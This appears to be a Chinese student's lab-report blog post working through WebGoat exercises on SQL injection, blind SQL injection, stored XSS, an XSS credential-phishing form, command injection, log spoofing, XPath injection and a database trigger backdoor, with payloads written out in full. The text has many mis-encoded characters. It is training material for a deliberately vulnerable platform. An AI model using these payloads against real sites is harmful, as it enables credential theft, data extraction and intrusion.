所谓SQL注入,就是经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。html
sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其余方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要缘由。node
好比登陆过程,SQL语句通常为:"select id from users where username = '"+username +"' and password = '" + password +"'"
,这里的username
和password
都是咱们存取从web表单得到的数据。若是咱们在表单中username
的输入框中输入' or 1=1--
。此时咱们所要执行的sql语句就变成了select id from users where username = '' or 1=1-- and password = ''
。由于1=1是true,后面 and password = ''
被注释掉了。因此这里彻底跳过了sql验证。web
以上是最经典的一种状况。但在本次实验中,还涉及到了网页对输入字符长度的限制等等,须要修改相应的代码。sql
因而可知,对SQL注入攻击的防护,主要有:数据库
攻击者利用网站漏洞(一般这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入能够显示在页面上的、对其余用户形成影响的HTML代码;因为受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本能够顺利执行,实现获取用户cookie并能够利用用户身份进行非法操做的目的。express
浏览器自身能够识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就须要网站开发者运用转义安全字符等手段。后端
一个原则:不相信用户输入的任何数据!浏览器
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点类似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操做。咱们知道,绝大多数网站是经过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,由于 Session ID 也是大多保存在 cookie 里面的),再予以受权的。因此要伪造用户的正常操做,最好的方法是经过 XSS 或连接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。安全
严格意义上来讲,CSRF 不能分类为注入攻击,由于 CSRF 的实现途径远远不止 XSS 注入这一条。经过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的连接都能形成 CSRF。服务器
防护的方法可从如下几个角度考虑:
★基础知识
该课目的在于了解浏览器和Web 应用程序之间数据交互的基本知识。
HTTP 是如何工做的呢?全部的HTTP 传输都要遵循一样的通用格式(须要使用IEWatch或WebScarab 类插件协助进行学习)。每一个客户端的请求和服务端的响应都有三个部分:请求或响应行、一个报头部分和实体部分。客户端以以下方式启动一个交互:
客户端链接服务器并发送一个文件请求:
GET /index.html?param=value HTTP/1.0
接下来,客户端发送可选头信息,告知接收服务器其配置和文件格式:
User-Agent: Mozilla/4.06 Accept: image/gif, image/jpeg, */*
发送请求和报头以后,客户端能够发送更多的数据。该数据主要用于使用POST方法的CGI程序。
★操做方法
Step 1:使用sudo apt-get install webscarab
命令安装WebScarab,用来修改编辑http消息等。打开webscarab。
Step 2:WebScarab有两种显示模式:Lite interface
和full-featured interface
,可在Tools菜单下进行模式切换,须要重启软件生效,修改http请求信息须要在full-featured interface
下进行。
Step 3:点击Proxy标签页->Listeners标签页
,输入url和端口号等,添加listener。
Step 4:点击Proxy标签页->Manual Edit标签页
, 选中Intercept requests
Step 5:在浏览器中(以Firefox为例),点击Open menu->Preferences->Advanced->Network选项卡
,选择右边Settings...
进行设置,增长一个localhost代理:
修改后重启Firefox生效。
Step 6:在输入框输入姓名,点击Go!
,能够在WebScarab中看到提交的http请求:
★基础知识
众所周知,不少开发者喜欢在源代码中保存FIXME's、Code Broken、Hack 等语句。经过审查源代码中的相关注释每每能找到密码、后门及一些潜在的问题。
浏览器工具菜单中“view source”功能能够查看网页HTML 源代码。
★操做方法
在当前页面按F12,选择“Inspect...”。搜索FIXME
可看到有关用户名和密码的记录:
admin/adminpw
就是咱们须要的登陆名和密码。
★基础知识
在XSS的帮助下,能够实现钓鱼工具或向某些官方页面中增长内容。对于受害者来讲很难发现该内容是否存在威胁。
整体目标是,建立一个form,要求填写用户名和密码。
★操做方法
Step 1:一个带用户名和密码输入框的表格以下所示:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
搜索这段代码,能够看到页面中增长了一个表单:
Step 2:还须要一段脚本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
这段代码会读取在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
Step 3:最后,就是要将这两段代码合并。最终须要输入的代码以下:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form><br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
搜索这段代码,出现用户名和密码的填写界面:
填写并登陆,WebGoat会反馈输入的信息:
★基础知识
输入验证是一个很好的方法,尤为是验证那些之后将用作参数的操做系统命令、脚本和数据库查询的输入。尤其重要的是,这些内容将会永久的存放在那里。应当禁止用户建立消息内容。用户的信息被检索时,可能致使其余用户加载一个不良的网页或不良的内容。当一个未经验证的用户的输入做为一个HTTP 响应时,XSS 攻击也可能会发生。在一个反射式XSS 攻击中,攻击者会利用攻击脚本精心制做一个URL 并经过将其发送到其余网站、电子邮件、或其余方式骗取受害者点击它。
在这个练习中,咱们尝试执行存储型跨站脚本攻击。
★操做方法
在Message中构造语句<script>alert("20155303 attack succeed!");</script>
,Title任意。提交后可发现刚建立的帖子test5303:
★基础知识
命令注入攻击对任何一个以参数驱动的站点来讲都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能形成大范围的损害,危及系统安全。尽管这类风险数目使人难以置信,互联网中的系统很容易受到这种形式的攻击。
这种攻击容易扩散,形成更坏的影响。可是对于这类威胁,一点常识和预先预防几乎能够彻底阻止。
★操做方法
Step 1:按F12进入调试界面,选择Inspect...
对源代码进行修改。
Step 2:例如在BackDoors.help
后面加上"& netstat -an & ipconfig"
Step 3:点击View
,可看到命令的输出结果:
★基础知识
在station 字段中注入特征字符,能组合成新的SQL 语句。
SELECT * FROM weather_data WHERE station = [station]
这道题的表单容许用户查看天气数据。需经过注入SQL字符串的方式查看全部的天气数据。
★操做方法
Step 1:按F12进入调试界面,选择Inspect...
对源代码进行修改。
Step 2:在选项列表中,任意选择一个值,好比“101”,后面加上or 1=1
。
Step 3:输出以下所示:
★基础知识
这种攻击是在日志文件中愚弄人的眼睛,攻击者能够利用这种方式清除他们在日志中的痕迹。
★操做方法
灰色区域表明在Web 服务器的日志中的记录的内容。目的是使用户名为“admin”的用户在日志中显示“成功登陆”。
Step 1:在文本框中输入用户名:smith Login Succeeded for username admin
,这样用户名后面的信息会在同一行显示,而不是在新的一行。
Step 2:能够往该应用中注入回车(0D%)和换行符(%0A)。在username 中填入Smith%0d%0aLogin Succeeded for username: admin
,以达到修改日志的目的:
Step 3:攻击者能够利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员可以经过浏览器看到。好比,将admin <script>alert(document.cookie)</script>
做为用户名输入。
★基础知识
与SQL注入相似,XPATH注入发生在当网站使用用户提供的信息查询XML 数据时。经过向网站故意发送异常信息,攻击者能够发现XML数据的结构或访问那些原本没法访问到的数据。若是该XML是一个用户认证文件(例如一个基于XML 的用户文件),攻击者还能借此提高本身在网站中的特权。使用XPATH查询XML,经过一个简单的描述性语句类型,容许XML查询,找到一条信息。像SQL同样,能够指定找到的某些属性与模式匹配。
当一个网站中使用XML,它是广泛接受某种形式的输入,查询字符串,找到并将标识的内容显示在页面上。此类输入必须进行清洗,以验证它不会影响XPATH 的查询,并返回错误数据。
★操做方法
本题目的表单容许员工看到本身的全部我的资料,包括他们的薪酬。
XPATH 注入相似于SQL 注入。经过未验证的输入建立一个XPATH 查询。如下代码展现了如何构建一个XPATH 查询:
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml"); File d = new File(dir); XPathFactory factory = XPathFactory.newInstance(); XPath xPath = factory.newXPath(); InputSource inputSource = new InputSource(new FileInputStream(d)); String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password + "']"; nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
在用户名处注入Smith' or 1=1 or 'a'='a
,这将会显示登陆系统的第一个用户。密码是必须的字段,能够任意输入。
如下是服务器获取的:
expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and passwd/text()='password']"
服务器解析后:
expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and passwd/text()='password' ) ]"
输入后点“登陆”可看到其余人的信息:
★操做方法
Step 1:以用户Neville登陆,在密码栏中输入' or 1=1 --
进行SQL注入,登陆失败。
Step 2:查看网页源代码,发现对输入长度进行了限制。改成100,再进行注入,成功:
★基础知识
基于如下查询语句构造本身的SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
★操做方法
本题的表格,容许用户查看他们的信用卡号码。尝试经过SQL 注入将全部信用卡信息显示出来。尝试的用户名是“Smith”。
输入如下代码便可完成:
’ or 1=1 -- // 或者 Smith' or 1=1 --
以下图所示:
★基础知识
数据库一般做为一个Web 应用程序的后端来使用。此外,它也用来做为存储的媒介。它也能够被用来做为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另外一个数据库操做,如insert, select, update or delete。
举个例子:攻击者能够建立一个触发器,该触发器在建立新用户时,将每一个新用户的Email 地址设置为攻击者的地址。
★操做方法
Step 1:输入101,获得该用户的信息:
能够发现,输入的语句没有验证,很容易进行 SQL 注入。
Step 2:若要执行两个语句,中间须要用分号分隔。输入注入语句101; update employee set salary=10000
。
Step 3:若设置触发器,可以使用如下查询条件:
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
因为WebGoat 使用的是MySQL数据库,不支持触发器,所以以上并不能在这里真正实现。
★基础知识
某些SQL 注入是没有明确返回信息的,只能经过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
★操做方法
Step 1:,服务端页面返回的信息只有两种:账号有效或无效。所以没法简单地查询到账号的PIN 数值。尽管如此,咱们能够利用系统后台在用的查询语句。查询语句以下:
SELECT * FROM user_data WHERE userid=accountNumber;
若是该查询语句返回了账号的信息,页面将提示账号有效,不然提示无效。
Step 2:使用AND函数,咱们能够添加一些额外的查询条件。若是该查询条件一样为真,则返回结果应提示账号有效,不然无效。例以下面两个查询方式:
101 AND 1=1 101 AND 1=2
在第一条语句中,两个条件都成立,因此页面返回账号有效。而第二条则返回账号无效。
Step 3:
如今能够针对查询语句的后半部分构造复杂语句。下面的语句能够告诉咱们 PIN 数值是否大于10000:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
若是页面提示账号有效,说明PIN>10000 不然 PIN<=10000。
Step 4:
不断调整数值,能够缩小判断范围,并最终判断出PIN 数值的大小。最终以下语句返回账号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
Step 5:在查询框中输入2364 并提交:
★操做方法
目标是找到 pins 表中cc_number 字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交。
本节课程很是相似与上一节。最大的不一样是要查询的字段是一个字符串而不是数值。所以咱们一样能够经过注入的方式查找到该字段的值。查询语句很是相似上一节,以下:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
该语句使用了SUBSTRING 方法,取得pin 字段数值的第一个字母,并判断其是否比字母“H”小。SUBSTRING 语法以下:
SUBSTRING(STRING,START,LENGTH)
通过屡次测试(比较0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。同理继续判断第二个字符。
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
最终,判断出pin字段的值为:Jill。提交改值:
本次实验在Webgoat平台上进行,不须要过于复杂的环境配置过程,每个小实验测试的知识点也都很是明了。好比Injection Flaws
中有不少关于注入的小实验,不一样的实验侧重不一样的考察点。无论是命令注入、日志欺骗,仍是数据库后门,都让我在实践中对理论有了更加深入地理解。除此以外,在实践的过程当中,我参考了WebGoat官方的使用手册,其中对于每个小实验的原理都介绍得很是清楚。在官方手册的指导下顺利完成了本次实验。
九次实验到此就算圆满结束啦,撒花ᖗ( ᐛ )ᖘ
这学期延续了以前“自学+实践+博客总结”的模式,有了前一年的基础和养成的习惯,这学期所以能较快适应。总的来讲收获很大,虽然只是些网络攻防的入门实践,但涉及到的方面很是广,让咱们了解到了各个领域可能存在的攻击。“师傅领进门,修行靠我的”吧,这门课程短暂的一学期学习时间不可能对全部的最新攻击面面俱到,能掌握方法才是最重要的。
是结束也是开始,预祝同窗们在这门课程中都取得满意的成绩୧( "̮ )୨✧ᐦ